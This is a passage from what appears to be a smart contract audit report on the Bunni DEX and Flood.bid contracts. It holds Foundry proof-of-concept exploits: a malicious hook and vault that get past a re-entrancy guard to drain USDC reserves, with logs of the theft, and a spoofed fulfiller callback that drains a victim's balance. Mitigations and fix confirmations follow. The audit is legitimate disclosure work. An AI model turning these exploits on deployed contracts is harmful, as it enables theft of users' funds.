        address deployed = computeAddress(address(this), salt, creationCode);
        if (uint160(bytes20(deployed)) & Hooks.ALL_HOOK_MASK == HOOK_FLAGS && deployed.code.length
        ↪  == 0) {
            break;
        }
        offset++;
    }
}
address customHook = address(new CustomHook{salt: salt}());

// 2. Create the malicious vault
MaliciousERC4626 maliciousVault = new MaliciousERC4626(token0, customHook);
token1.approve(address(maliciousVault), type(uint256).max);
deal(address(token1), address(maliciousVault), 1 ether);

// 3. Register the malicious pool
(, PoolKey memory maliciousKey) = hub.deployBunniToken(
    IBunniHub.DeployBunniTokenParams({
        currency0: Currency.wrap(address(token0)),
        currency1: Currency.wrap(address(token1)),
        tickSpacing: TICK_SPACING,
        twapSecondsAgo: TWAP_SECONDS_AGO,
        liquidityDensityFunction: new MockLDF(address(hub), address(customHook), address(quoter)),
        hooklet: IHooklet(address(0)),
        ldfType: LDFType.STATIC,
        ldfParams: bytes32(abi.encodePacked(ShiftMode.BOTH, int24(-3) * TICK_SPACING, int16(6),
        ↪  ALPHA)),
        hooks: BunniHook(payable(customHook)),
        hookParams: "",
        vault0: ERC4626(address(maliciousVault)),
        vault1: ERC4626(address(USDCVault)),
        minRawTokenRatio0: 0,
        targetRawTokenRatio0: 0,
        maxRawTokenRatio0: 0,
        minRawTokenRatio1: 0,
        targetRawTokenRatio1: 0,
        maxRawTokenRatio1: 0,
        sqrtPriceX96: TickMath.getSqrtPriceAtTick(4),
            name: bytes32("MaliciousBunniToken"),
            symbol: bytes32("BAD-BUNNI-LP"),
            owner: address(this),
            metadataURI: "metadataURI",
            salt: bytes32(keccak256("malicious"))
        })
    );

    // 4. Make a deposit to the malicious pool to have accounted some reserves of vault0 and initiate
    ↪  attack
    uint256 initialToken0Deposit = 50_000 ether;
    uint256 initialToken1Deposit = 50_000e6;
    deal(address(token0), address(this), 2 * initialToken0Deposit);
    deal(address(token1), address(this), 2 * initialToken0Deposit);
    token0.approve(customHook, 2 * initialToken0Deposit);
    token1.approve(customHook, 2 * initialToken0Deposit);
    CustomHook(payable(customHook)).depositInitialReserves(
        address(token1), initialToken1Deposit, address(hub), poolManager, maliciousKey, false
    );
    CustomHook(payable(customHook)).mintERC6909(address(token0), initialToken0Deposit);
    uint256 shares =
        CustomHook(payable(customHook)).mintBunniToken(maliciousKey, initialToken0Deposit,
        ↪  initialToken1Deposit);

    console.log(
        "BunniHub token1 raw balance before",
        poolManager.balanceOf(address(hub), Currency.wrap(address(token1)).toId())
    );
    console.log("BunniHub token1 vault reserve before", ERC4626(USDCVault).maxWithdraw(address(hub)));
    uint256 hookBalanceBefore = token1.balanceOf(customHook);
    console.log("MaliciousHook token1 balance before", hookBalanceBefore);

    maliciousVault.setupAttack();
    CustomHook(payable(customHook)).initiateAttack(
        IBunniHub(address(hub)), maliciousKey, USDCVault, shares / 2, Vector.WITHDRAW, 17
    );
    console.log(
        "BunniHub token1 raw balance after",
        poolManager.balanceOf(address(hub), Currency.wrap(address(token1)).toId())
    );
    console.log("BunniHub token1 vault reserve after", ERC4626(USDCVault).maxWithdraw(address(hub)));
    console.log("MaliciousHook token1 balance after", token1.balanceOf(customHook));
    console.log("USDC stolen", token1.balanceOf(customHook) - initialToken1Deposit);
}
```

Logs:

```
[PASS] test_ForkWithdrawPoC() (gas: 23086872)
Logs:
  BunniHub token1 raw balance before 209036268296
  BunniHub token1 vault reserve before 447718769054
  MaliciousHook token1 balance before 50000000000
  BunniHub token1 raw balance after 209036268296
  BunniHub token1 vault reserve after 3757038234
  MaliciousHook token1 balance after 493961730811
  USDC stolen 443961730811
```

Impact: Both vault reserves and raw balances from all legitimate pools can be fully withdrawn by a completely isolated and malicious pool configured with a custom hook that bypasses the `BunniHub` re-entrancy guard. At the time of this audit and associated disclosure, these funds were valued at $7.33M.

Recommended Mitigation: The root cause of the attack was the ability to disable the intended global re-entrancy protection by invoking `unlockForRebalance()` which was subsequently disabled. One solution would be to implement the rebalance re-entrancy protection on a per-pool basis such that one pool cannot manipulate the re-entrancy guard transient storage state of another. Additionally, allowing Bunni pools to be deployed with any arbitrary hook implementation greatly increases the attack surface. It is instead recommended to minimise this by constraining the hook to be the canonical `BunniHook` implementation such that it is not possible to call such `BunniHub` functions directly.

Bacon Labs: Fixed in PR #95.

Cyfrin: Verified. `BunniHub::unlockForRebalance` has been removed to prevent reentrancy attacks and `BunniHub::hookGive` has been added in place of the `hookHandleSwap()` call within `_rebalancePosthookCallback()`; however, the absence of calls to `_updateRawBalanceIfNeeded()` to update the vault reserves has been noted. A hook whitelist has also been added to `BunniHub`.

Bacon Labs: `BunniHub::hookGive` is kept intentionally simple and avoids calling potentially malicious contracts such as vaults.

Cyfrin: Acknowledged. This will result in regular losses of potential yield as the deposit to the target ratios will not occur until the surge fee is such that swappers are no longer disincentivized, but it is understood to be accepted that the subsequent swap will trigger the deposit.

7.2 High Risk

7.2.1 `FloodPlain` selector extension does not prevent `IFulfiller::sourceConsideration` callback from being called within pre/post hooks

Description: The `FloodPlain` contracts implement a check in `Hooks::execute` which intends to prevent spoofing by invoking the fulfiller callback during execution of the pre/post hooks:

```
    bytes28 constant SELECTOR_EXTENSION = bytes28(keccak256("IFulfiller.sourceConsiderations"));

    library Hooks {
        function execute(IFloodPlain.Hook calldata hook, bytes32 orderHash, address permit2) internal {
            address target = hook.target;
            bytes calldata data = hook.data;

            bytes28 extension; // @audit - an attacker can control this value to pass the below check
            assembly ("memory-safe") {
                extension := shl(32, calldataload(data.offset)) // @audit - this shifts off the first 4
                ↪   bytes of the calldata, which is the `sourceConsideration()` function selector. thus
                ↪   preventing a call to either `sourceConsideration()` or `sourceConsiderations()`
                ↪   relies on the fulfiller requiring the `selectorExtension` argument to be
                ↪   `SELECTOR_EXTENSION`
            }
@>          require(extension != SELECTOR_EXTENSION && target != permit2, "MALICIOUS_CALL");

            assembly ("memory-safe") {
                let fmp := mload(0x40)
                calldatacopy(fmp, data.offset, data.length)
                mstore(add(fmp, data.length), orderHash)
                if iszero(call(gas(), target, 0, fmp, add(data.length, 32), 0, 0)) {
                    returndatacopy(0, 0, returndatasize())
                    revert(0, returndatasize())
                }
            }
        }
        ...
    }
```

However, the `SELECTOR_EXTENSION` constant simply acts as a sort of "magic value" as it does not actually contain the hashed function signature. As such, assuming fulfillers validate selector extension argument against this expected value, this only prevent calls using the `IFulfiller::sourceConsiderations` interface and not `IFulfiller.sourceConsideration`. Therefore, a malicious Flood order can be fulfilled and used to target a victim fulfiller by executing the arbitrary external call during the pre/post hooks. If the caller is not explicitly validated, then it is possible that this call will be accepted by the fulfiller and potentially result in dangling approvals that can be later exploited. Additionally, this same selector extension is passed to the `IFulfiller::sourceConsideration` callback in both overloaded versions of `FloodPlain::fulfillOrder` when this should ostensibly be `bytes28(keccak256("IFulfiller.sourceConsideration"))`.

While the code is not currently public, this is the case for the Bunni rebalancer that simply only checks that `msg.sender` is the Flood contract and ignores the`selectorExtension` and `caller` parameters. As a result, it can be tricked into decoding an attacker-controlled address to which an infinite approval is made for the offer token. The malicious Flood order can freely control both the Flood order and accompanying context, meaning that they can drain any token inventory held by the rebalancer.

Impact: Malicious Flood orders can spoof the `FloodPlain` address by invoking the `IFulfiller::sourceConsideration` callback during execution of the pre/post hooks.

Proof of Concept: The following test can be added to the Flood.bid library tests in `Hooks.t.sol`:

```
function test_RevertWhenSelectorExtensionClashSourceConsideration(
        bytes4 data0,
        bytes calldata data2,
        bytes32 orderHash,
        address permit2
    ) public {
        vm.assume(permit2 != hooked);
        bytes28 data1 = bytes28(keccak256("IFulfiller.sourceConsideration")); // note the absence of
        ↪  the final 's'
        bytes memory data = abi.encodePacked(data0, data1, data2);

        // this actually succeeds, so it is possible to call sourceConsideration on the fulfiller from
        ↪  the hook
        // with FloodPlain as the sender and any arbitrary caller before the consideration is actually
        ↪  sourced
        // which can be used to steal approvals from other contracts that integrate with FloodPlain
        hookHelper.execute(IFloodPlain.Hook({target: address(0x6969696969), data: data}), orderHash,
        ↪  permit2);
    }
```

And the standalone test file below demonstrates the full end-to-end issue:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import "test/utils/FloodPlainTestShared.sol";

import {PermitHash} from "permit2/src/libraries/PermitHash.sol";
import {OrderHash} from "src/libraries/OrderHash.sol";

import {IFloodPlain} from "src/interfaces/IFloodPlain.sol";
import {IFulfiller} from "src/interfaces/IFulfiller.sol";
import {SELECTOR_EXTENSION} from "src/libraries/Hooks.sol";

import {IERC20, SafeERC20} from "@openzeppelin/token/ERC20/utils/SafeERC20.sol";
import {Address} from "@openzeppelin/utils/Address.sol";

contract ThirdPartyFulfiller is IFulfiller {
    using SafeERC20 for IERC20;
    using Address for address payable;

    function sourceConsideration(
        bytes28 selectorExtension,
        IFloodPlain.Order calldata order,
        address, /* caller */
        bytes calldata /* context */
    ) external returns (uint256) {
        require(selectorExtension == bytes28(keccak256("IFulfiller.sourceConsideration")));

        IFloodPlain.Item calldata item = order.consideration;
        if (item.token == address(0)) payable(msg.sender).sendValue(item.amount);
        else IERC20(item.token).safeIncreaseAllowance(msg.sender, item.amount);

        return item.amount;
    }

    function sourceConsiderations(
        bytes28 selectorExtension,
        IFloodPlain.Order[] calldata orders,
        address, /* caller */
        bytes calldata /* context */
    ) external returns (uint256[] memory amounts) {
        require(selectorExtension == SELECTOR_EXTENSION);

        uint256[] memory amounts = new uint256[](orders.length);
        for (uint256 i; i < orders.length; ++i) {
            IFloodPlain.Order calldata order = orders[i];
            IFloodPlain.Item calldata item = order.consideration;
            amounts[i] = item.amount;
            if (item.token == address(0)) payable(msg.sender).sendValue(item.amount);
            else IERC20(item.token).safeIncreaseAllowance(msg.sender, item.amount);
        }
    }
}

contract FloodPlainPoC is FloodPlainTestShared {
    IFulfiller victimFulfiller;

    function setUp() public override {
        super.setUp();
        victimFulfiller = new ThirdPartyFulfiller();
    }

    function test_FraudulentPreHookSourceConsideration() public {
        // create a malicious order that will call out to a third-party fulfiller in the pre hook
        // just copied the setup_mostBasicOrder logic for simplicity but this can be a fake order with
        ↪  fake tokens
        // since it is only the pre hook execution that is interesting here

        deal(address(token0), account0.addr, token0.balanceOf(account0.addr) + 500);
        deal(address(token1), address(fulfiller), token1.balanceOf(address(fulfiller)) + 500);
        IFloodPlain.Item[] memory offer = new IFloodPlain.Item[](1);
        offer[0].token = address(token0);
        offer[0].amount = 500;
        uint256 existingAllowance = token0.allowance(account0.addr, address(permit2));
        vm.prank(account0.addr);
        token0.approve(address(permit2), existingAllowance + 500);
        IFloodPlain.Item memory consideration;
        consideration.token = address(token1);
        consideration.amount = 500;

        // fund the victim fulfiller with native tokens that we will have it transfer out as the
        ↪  "consideration"
        uint256 targetAmount = 10 ether;
        deal(address(victimFulfiller), targetAmount);
        assertEq(address(victimFulfiller).balance, targetAmount);

        IFloodPlain.Item memory evilConsideration;
        evilConsideration.token = address(0);
        evilConsideration.amount = targetAmount;

        // now set up the spoofed sourceConsideration call (note the offer doesn't matter as this is
        ↪  not a legitimate order)
        IFloodPlain.Hook[] memory preHooks = new IFloodPlain.Hook[](1);
        IFloodPlain.Order memory maliciousOrder = IFloodPlain.Order({
            offerer: address(account0.addr),
            zone: address(0),
            recipient: account0.addr,
            offer: offer,
            consideration: evilConsideration,
            deadline: type(uint256).max,
            nonce: 0,
            preHooks: new IFloodPlain.Hook[](0),
            postHooks: new IFloodPlain.Hook[](0)
        });
        preHooks[0] = IFloodPlain.Hook({
            target: address(victimFulfiller),
            data: abi.encodeWithSelector(IFulfiller.sourceConsideration.selector,
            ↪   bytes28(keccak256("IFulfiller.sourceConsideration")), maliciousOrder, address(0),
            ↪   bytes(""))
        });

        // Construct the fraudulent order.
        IFloodPlain.Order memory order = IFloodPlain.Order({
            offerer: address(account0.addr),
            zone: address(0),
            recipient: account0.addr,
            offer: offer,
            consideration: consideration,
            deadline: type(uint256).max,
            nonce: 0,
            preHooks: preHooks,
            postHooks: new IFloodPlain.Hook[](0)
        });

        // Sign the order.
        bytes memory sig = getSignature(order, account0);

        IFloodPlain.SignedOrder memory signedOrder = IFloodPlain.SignedOrder({order: order, signature:
        ↪   sig});

        deal(address(token1), address(this), 500);
        token1.approve(address(book), 500);

        // Filling order succeeds and pre hook call invoked sourceConsideration on the vitim fulfiller.
        book.fulfillOrder(signedOrder);
        assertEq(address(victimFulfiller).balance, 0);
    }
}
```

Recommended Mitigation: Following the recent acquisition of Flood.bid by 0x, it appears that these contracts are no longer maintained. Therefore, without requiring an upstream change, this issue can be mitigated by always validating the `selectorExtension` argument is equal to the `SELECTOR_EXTENSION` constant in the implementation of both `IFulfiller::sourceConsideration` and `IFulfiller::sourceConsiderations`.

0x: The actual value of `SELECTOR_EXTENSION` is unfortunate but the intent of the code is respected and safe, and its expected for Fulfillers to be the "expert" actors in the system and handle their security well.

Bacon Labs: Acknowledged and will fix this later in our rebalancer contract. Realistically there's currently no impact since our rebalancer does not hold any inventory other than during the execution of an order.

Cyfrin: Acknowledged.

7.3 Medium Risk

7.3.1 Hooklet token transfer hooks will reference the incorrect sender due to missing use of `LibMulticaller.senderOrSigner()`

Description: `LibMulticaller` is used throughout the codebase to retrieve the actual sender of multicall transactions; however, `BunniToken::_beforeTokenTransfer` and `BunniToken::_afterTokenTransfer` both incorrectly pass `msg.sender` directly to the corresponding Hooklet function:

```
function _beforeTokenTransfer(address from, address to, uint256 amount, address newReferrer) internal
↪   override {
    IHooklet hooklet_ = hooklet();
    if (hooklet_.hasPermission(HookletLib.BEFORE_TRANSFER_FLAG)) {
        hooklet_.hookletBeforeTransfer(msg.sender, poolKey(), this, from, to, amount);
    }
}

function _afterTokenTransfer(address from, address to, uint256 amount) internal override {
    // call hooklet
    IHooklet hooklet_ = hooklet();
    if (hooklet_.hasPermission(HookletLib.AFTER_TRANSFER_FLAG)) {
        hooklet_.hookletAfterTransfer(msg.sender, poolKey(), this, from, to, amount);
    }
}
```

Impact: The Hooklet calls will reference the incorrect sender. This has potentially serious downstream effects for integrators as custom logic is executed with the incorrect address in multicall transactions.

Recommended Mitigation: `LibMulticaller.senderOrSigner()` should be used in place of `msg.sender` wherever the actual sender is required:

```
function _beforeTokenTransfer(address from, address to, uint256 amount, address newReferrer) internal
↪   override {
    IHooklet hooklet_ = hooklet();
    if (hooklet_.hasPermission(HookletLib.BEFORE_TRANSFER_FLAG)) {
--      hooklet_.hookletBeforeTransfer(msg.sender, poolKey(), this, from, to, amount);
++      hooklet_.hookletBeforeTransfer(LibMulticaller.senderOrSigner(), poolKey(), this, from, to,
↪   amount);
    }
}

function _afterTokenTransfer(address from, address to, uint256 amount) internal override {
    // call hooklet
    IHooklet hooklet_ = hooklet();
    if (hooklet_.hasPermission(HookletLib.AFTER_TRANSFER_FLAG)) {
--      hooklet_.hookletAfterTransfer(msg.sender, poolKey(), this, from, to, amount);
++      hooklet_.hookletAfterTransfer(LibMulticaller.senderOrSigner(), poolKey(), this, from, to,
↪   amount);
    }
}
```

Bacon Labs: Fixed in PR #106.

Cyfrin: Verified, the `LibMulticaller` is now used to pass the `msg.sender` in `BunniToken` Hooklet calls.

7.3.2 Broken block time assumptions affect am-AMM epoch duration and can DoS rebalancing on Arbitrum

Description: `AmAmm` defines the following virtual function which specifies the auction delay parameter in blocks:

```
function K(PoolId) internal view virtual returns (uint48) {
    return 7200;
}
```

Here, 7200 assumes a 12s Ethereum mainnet block time. This corresponds to 24-hour epochs and is the intended duration for all chains. Given that different chains have different block times, this function is overridden in BunniHook to return the value of the immutable parameter _K:

```
uint48 internal immutable _K;

function K(PoolId) internal view virtual override returns (uint48) {
    return _K;
}
```

The values used on each chain can be seen in .env.example:

However, there are multiple issues with this configuration.

Firstly, while the value of the _K parameter on Base currently correctly assumes a 2s block time, this value can and will change, with a decrease to 0.2s block times expected later this year. While not overly frequent, a reduction in block times is commonplace and should be expected, for example Ethereum's reduction in average block time from 13s to 12s when transitioning to Proof of Stake and Arbitrum's reduction from 2s to 0.25s (configurable further still to 0.1s on select Arbitrum chains). Thus, _K should not be immutable but rather configurable by the contract admin across all chains.

Secondly, while the value of the _K parameter on Arbitrum is correct for the assumed default 0.25s block time, the L2 block number is not used in the logic as block.number incorrectly references the L1 ancestor block instead. As a result, the epoch duration on Arbitrum is significantly longer than expected at 1152 hours (48 days) which for enabled hooks will cause significant disruption to both the functioning of LVR auctions and its bidders. This is not the case for OP Stack chains, such as Base & Unichain, which return the L2 block number when using block.number directly.

An additional implication of the incorrect Arbitrum block.number assumption lies in its usage in RebalanceLogic when creating a rebalance order:

```
IFloodPlain.Order memory order = IFloodPlain.Order({
    offerer: address(this),
    zone: address(env.floodZone),
    recipient: address(this),
    offer: offer,
    consideration: consideration,
    deadline: block.timestamp + rebalanceOrderTTL,
    nonce: uint256(keccak256(abi.encode(block.number, id))), // combine block.number and pool id to
    ↪  avoid nonce collisions between pools
    preHooks: preHooks,
    postHooks: postHooks
});
```

As stated by the inline comment, the block number is hashed with the pool id to prevent nonce collisions between pools whereby the creation of a rebalance order for a given pool in a given block would prevent the creation of such orders for other pools if only the block number was used. This logic works well for most chains, allowing for the creation of a single rebalance order per block per pool; however, by inadvertently referencing L1 block numbers on Arbitrum, this logic will continue to cause DoS issues in Permit2 for a given pool id with the same nonce. The Arbitrum L2 block may have advanced and require additional rebalancing, but the attempted order is very likely to reference the same L1 ancestor block given there are roughly 48 L2 blocks created in the time it takes one L1 block to be created.

Impact: Improper handling of the Arbitrum L2 block number results in denial-of-service of the Bunni Hook both in am-AMM functionality and rebalance orders.

Recommended Mitigation: * Allow the _K parameter to be configurable by the contract admin across all chains to adapt to changes in block time.

- Use the ArbSys L2 block number precompile to correctly reference the L2 block.

Bacon Labs: Fixed in PR #99 and `PR [*Token transfer hooks should be invoked at the end of execution to prevent the hooklet executing over intermediate state*](#token-transfer-hooks-should-be-invoked-at-the-end-of-execution-to-prevent-the-hooklet-executing-over-intermediate-state)`.

Cyfrin: Verified, the rebalance order and base `AmAmm` implementation both now query the ArbSys precompile to return the correct Arbitrum block number. Logic to schedule K change has also been added. Currently, the owner can simply schedule the change to become active in the current block which will update K instantaneously without any time delay. It is instead recommended to validate the active block to be in an acceptable range future blocks, setting a minimum number of blocks such that there is some time delay between the change and new K activation. Additionally, the owner can decrease the active block of a pending K which should not be allowed either. For example, if they scheduled a new K to become active in block 100, they can schedule the same K with an active block of 50 and it will be overridden.

Bacon Labs: This behavior is intentional. Being able to update K instantly is needed in case a chain doesn't pre-announce the block time update and just do it. Being able to override the active block is also needed in case a chain changes the schedule for the block time update.

Cyfrin: Acknowledged.

7.3.3 DoS of Bunni pools when raw balance is outside limits but vaults do not accept additional deposits

Description: When the `BunniHub` has a `rawBalance` that exceeds `maxRawTokenRatio` it will attempt to make a deposit into the corresponding vault to reach the `targetRawTokenRatio`. To do so, the `_updateRawBalanceIfNeeded()` function is called which in turn calls `_updateVaultReserveViaClaimTokens()`:

```
    function _updateRawBalanceIfNeeded(
        Currency currency,
        ERC4626 vault,
        uint256 rawBalance,
        uint256 reserve,
        uint256 minRatio,
        uint256 maxRatio,
        uint256 targetRatio
    ) internal returns (uint256 newReserve, uint256 newRawBalance) {
        uint256 balance = rawBalance + getReservesInUnderlying(reserve, vault);
        uint256 minRawBalance = balance.mulDiv(minRatio, RAW_TOKEN_RATIO_BASE);
        uint256 maxRawBalance = balance.mulDiv(maxRatio, RAW_TOKEN_RATIO_BASE);

        if (rawBalance < minRawBalance || rawBalance > maxRawBalance) {
            uint256 targetRawBalance = balance.mulDiv(targetRatio, RAW_TOKEN_RATIO_BASE);
            (int256 reserveChange, int256 rawBalanceChange) =
@>              _updateVaultReserveViaClaimTokens(targetRawBalance.toInt256() - rawBalance.toInt256(),
↪   currency, vault);
            newReserve = _updateBalance(reserve, reserveChange);
            newRawBalance = _updateBalance(rawBalance, rawBalanceChange);
        } else {
            (newReserve, newRawBalance) = (reserve, rawBalance);
        }
    }

    function _updateVaultReserveViaClaimTokens(int256 rawBalanceChange, Currency currency, ERC4626
    ↪   vault)
        internal
        returns (int256 reserveChange, int256 actualRawBalanceChange)
    {
        uint256 absAmount = FixedPointMathLib.abs(rawBalanceChange);
        if (rawBalanceChange < 0) {
            uint256 maxDepositAmount = vault.maxDeposit(address(this));
            // if poolManager doesn't have enough tokens or we're trying to deposit more than the vault
            ↪   accepts
            // then we only deposit what we can
            // we're only maintaining the raw balance ratio so it's fine to deposit less than requested
            uint256 poolManagerReserve = currency.balanceOf(address(poolManager));
            absAmount = FixedPointMathLib.min(FixedPointMathLib.min(absAmount, maxDepositAmount),
            ↪   poolManagerReserve);

            // burn claim tokens from this
            poolManager.burn(address(this), currency.toId(), absAmount);

            // take tokens from poolManager
            poolManager.take(currency, address(this), absAmount);

            // deposit tokens into vault
            IERC20 token;
            if (currency.isAddressZero()) {
                // wrap ETH
                weth.deposit{value: absAmount}();
                token = IERC20(address(weth));
            } else {
                token = IERC20(Currency.unwrap(currency));
            }
            address(token).safeApproveWithRetry(address(vault), absAmount);
            // @audit this will fail for tokens that revert on 0 token transfers or ERC4626 vaults that
            ↪   does not allow 0 asset deposits
@>          reserveChange = vault.deposit(absAmount, address(this)).toInt256();

            // it's safe to use absAmount here since at worst the vault.deposit() call pulled less token
            // than requested
            actualRawBalanceChange = -absAmount.toInt256();

            // revoke token approval to vault if necessary
            if (token.allowance(address(this), address(vault)) != 0) {
                address(token).safeApprove(address(vault), 0);
            }
        } else if (rawBalanceChange > 0) {
            ...
        }
    }
```

When attempting a deposit of raw balance into the vault, the minimum is computed between the amount intended to be deposited, the max deposit returned by the vault, and the Uniswap v4 Pool Manager reserve. When the ERC-4626 vault reaches a maximum amount of assets deposited and returns zero assets, the amount to deposit into the vault will be zero. This can be problematic for multiple reasons:

1. There are vaults that do not allow zero asset deposits.
2. There are vault that revert upon minting zero shares.
3. There are tokens that revert upon zero transfers.

This results in DoS when the raw balance is too high as an attempt will be made to deposit zero assets into the vault which will revert. Instead, the logic should avoid calling the deposit function when the amount to deposit is zero as is done in the `_depositVaultReserve()` function.

```
if (address(state.vault0) != address(0) && reserveAmount0 != 0) {
    (uint256 reserveChange, uint256 reserveChangeInUnderlying, uint256 amountSpent) =
    ↪   _depositVaultReserve(
        env, reserveAmount0, params.poolKey.currency0, state.vault0, msgSender, params.vaultFee0
    );
    s.reserve0[poolId] = state.reserve0 + reserveChange;

    // use actual withdrawable value to handle vaults with withdrawal fees
    reserveAmount0 = reserveChangeInUnderlying;
    // add amount spent on vault deposit to the total amount spent
    amount0Spent += amountSpent;
}
```

The `reserveAmount0` is the amount computed to be deposited into the vault, so when it is zero the deposit execution is ignored.

Proof of Concept: Modify the `ERC4626Mock` to simulate an ERC-4626 vault that has reached its asset limit, returning zero when `maxDeposit()` is queried, and also revert upon attempting to deposit zero assets:

```
contract ERC4626Mock is ERC4626 {
    address internal immutable _asset;
    mapping(address to => bool maxDepostitCapped) internal maxDepositsCapped;
    error ZeroAssetsDeposit();

    constructor(IERC20 asset_) {
        _asset = address(asset_);
    }

    function deposit(uint256 assets, address to) public override returns (uint256 shares) {
        if(assets == 0) revert ZeroAssetsDeposit();
        return super.deposit(assets, to);
    }

    function setMaxDepositFor(address to) external {
        maxDepositsCapped[to] = true;
    }

    function maxDeposit(address to) public view override returns (uint256 maxAssets) {
        if(maxDepositsCapped[to]){
            return 0;
        } else {
            return super.maxDeposit(to);
        }
    }

    function asset() public view override returns (address) {
        return _asset;
    }

    function name() public pure override returns (string memory) {
        return "MockERC4626";
    }

    function symbol() public pure override returns (string memory) {
        return "MOCK-ERC4626";
    }
}
```

The following test can now be placed within `BunniHook.t.sol`:

```
function test_PoCVaultDoS() public {
    Currency currency0 = Currency.wrap(address(token0));
    Currency currency1 = Currency.wrap(address(token1));
    ERC4626 vault0_ = vault0;
    ERC4626 vault1_ = vault1;

    (, PoolKey memory key) = _deployPoolAndInitLiquidity(currency0, currency1, vault0_, vault1_);

    uint256 inputAmount = PRECISION / 10;

    _mint(key.currency0, address(this), inputAmount);
    uint256 value = key.currency0.isAddressZero() ? inputAmount : 0;

    IPoolManager.SwapParams memory params = IPoolManager.SwapParams({
        zeroForOne: true,
        amountSpecified: -int256(inputAmount),
        sqrtPriceLimitX96: TickMath.getSqrtPriceAtTick(3)
    });

    // Set up conditions
    // 1. Ensure that raw balance is greater than the max, hence it would need to trigger the vault
    // deposit
    uint256 amountOfAssetsToBurn = vault0.balanceOf(address(hub)) / 3;
    vm.prank(address(hub));
    vault0.transfer(address(0xdead), amountOfAssetsToBurn);
    // 2. Ensure maxDeposit is 0
    vault0.setMaxDepositFor(address(hub));

    vm.expectRevert(
        abi.encodeWithSelector(
            WrappedError.selector,
            address(bunniHook),
            BunniHook.beforeSwap.selector,
            abi.encodePacked(ERC4626Mock.ZeroAssetsDeposit.selector),
            abi.encodePacked(bytes4(keccak256("HookCallFailed()")))
        )
    );
    _swap(key, params, value, "swap");
}
```

Revert due to the `ZeroAssetsDeposit()` custom error set up in the ERC-4626 vault can be observed to be wrapped in the Uniswap v4 `WrappedError()`.

Impact: The Bunni pool will enter a state of denial-of-service for swaps and rebalancing until the vault accepts more deposits.

Recommended Mitigation: If the amount to deposit is zero, ignore the deposit execution:

```
function _updateVaultReserveViaClaimTokens(int256 rawBalanceChange, Currency currency, ERC4626 vault)
        internal
        returns (int256 reserveChange, int256 actualRawBalanceChange)
    {
        uint256 absAmount = FixedPointMathLib.abs(rawBalanceChange);
        if (rawBalanceChange < 0) {
            uint256 maxDepositAmount = vault.maxDeposit(address(this));
            // if poolManager doesn't have enough tokens or we're trying to deposit more than the vault
            ↪  accepts
            // then we only deposit what we can
            // we're only maintaining the raw balance ratio so it's fine to deposit less than requested
            uint256 poolManagerReserve = currency.balanceOf(address(poolManager));
            absAmount = FixedPointMathLib.min(FixedPointMathLib.min(absAmount, maxDepositAmount),
            ↪  poolManagerReserve);

++          if(absAmount == 0) return(0, 0);

            // burn claim tokens from this
            poolManager.burn(address(this), currency.toId(), absAmount);

            // take tokens from poolManager
            poolManager.take(currency, address(this), absAmount);

            // deposit tokens into vault
            IERC20 token;
            if (currency.isAddressZero()) {
                // wrap ETH
                weth.deposit{value: absAmount}();
                token = IERC20(address(weth));
            } else {
                token = IERC20(Currency.unwrap(currency));
            }
            address(token).safeApproveWithRetry(address(vault), absAmount);
            reserveChange = vault.deposit(absAmount, address(this)).toInt256();

            // it's safe to use absAmount here since at worst the vault.deposit() call pulled less token
            // than requested
            actualRawBalanceChange = -absAmount.toInt256();

            // revoke token approval to vault if necessary
            if (token.allowance(address(this), address(vault)) != 0) {
                address(token).safeApprove(address(vault), 0);
            }
        } else if (rawBalanceChange > 0) {
            ...
        }
    }
```

Bacon Labs: Fixed in PR #96.

Cyfrin: Verified, the execution now returns early if it is not possible to make additional deposits.

7.3.4 DoS of Bunni pools configured with dynamic LDFs due to insufficient validation of post-shift tick bounds

Description: Unlike in `LibUniformDistribution::decodeParams`, the min/max usable ticks are not validated by `UniformDistribution::query`. The maximum length of the liquidity position corresponds to tick $\in [minUsableTick, maxUsableTick]$, but if the invocation of `enforceShiftMode()` mode returns `lastTickLower` to account for an undesired shift direction then `tickUpper` can exceed `maxUsableTick` for a sufficiently large `tickLength`:

```
function query(
    PoolKey calldata key,
    int24 roundedTick,
    int24 twapTick,
    int24, /* spotPriceTick */
    bytes32 ldfParams,
    bytes32 ldfState
)
    external
    view
    override
    guarded
    returns (
        uint256 liquidityDensityX96_,
        uint256 cumulativeAmount0DensityX96,
        uint256 cumulativeAmount1DensityX96,
        bytes32 newLdfState,
        bool shouldSurge
    )
{
    (int24 tickLower, int24 tickUpper, ShiftMode shiftMode) =
        LibUniformDistribution.decodeParams(twapTick, key.tickSpacing, ldfParams);
    (bool initialized, int24 lastTickLower) = _decodeState(ldfState);
    if (initialized) {
        int24 tickLength = tickUpper - tickLower;
        tickLower = enforceShiftMode(tickLower, lastTickLower, shiftMode);
@>      tickUpper = tickLower + tickLength;
        shouldSurge = tickLower != lastTickLower;
    }
     (liquidityDensityX96_, cumulativeAmount0DensityX96, cumulativeAmount1DensityX96) =
        LibUniformDistribution.query(roundedTick, key.tickSpacing, tickLower, tickUpper);
    newLdfState = _encodeState(tickLower);
}
```

While ticks are initially validated to be in the range of usable ticks, `tickUpper` is simply recomputed as `tickLower + tickLength`. If the `tickLength` and/or the shift enforced between `tickLower` and `lastTickLower` is sufficiently large then `tickUpper` could exceed the usable range, since `tickLower` is updated without also updating the corresponding `tickLength` when the shift condition is met to return the `lastTickLower`. This results in a revert with `InvalidTick()` as the upper tick exceeds `TickMath.MAX_TICK`.

Consider the following:

1. During initialization of the LDF with a dynamic shift mode, the very first `tickLower` is set to `minUsableTick + tickSpacing`. With the corresponding `tickUpper`, this distribution is bounded to be within the range of usable ticks.

```
/// @return tickLower The lower tick of the distribution
/// @return tickUpper The upper tick of the distribution
function decodeParams(int24 twapTick, int24 tickSpacing, bytes32 ldfParams)
    internal
    pure
    returns (int24 tickLower, int24 tickUpper, ShiftMode shiftMode)
{
    shiftMode = ShiftMode(uint8(bytes1(ldfParams)));

    if (shiftMode != ShiftMode.STATIC) {
        // | shiftMode - 1 byte | offset - 3 bytes | length - 3 bytes |
        int24 offset = int24(uint24(bytes3(ldfParams << 8))); // offset of tickLower from the twap tick
        int24 length = int24(uint24(bytes3(ldfParams << 32))); // length of the position in rounded
        ↪  ticks
        tickLower = roundTickSingle(twapTick + offset, tickSpacing);
        tickUpper = tickLower + length * tickSpacing;

        // bound distribution to be within the range of usable ticks
        (int24 minUsableTick, int24 maxUsableTick) =
            (TickMath.minUsableTick(tickSpacing), TickMath.maxUsableTick(tickSpacing));
        if (tickLower < minUsableTick) {
            int24 tickLength = tickUpper - tickLower;
            tickLower = minUsableTick;
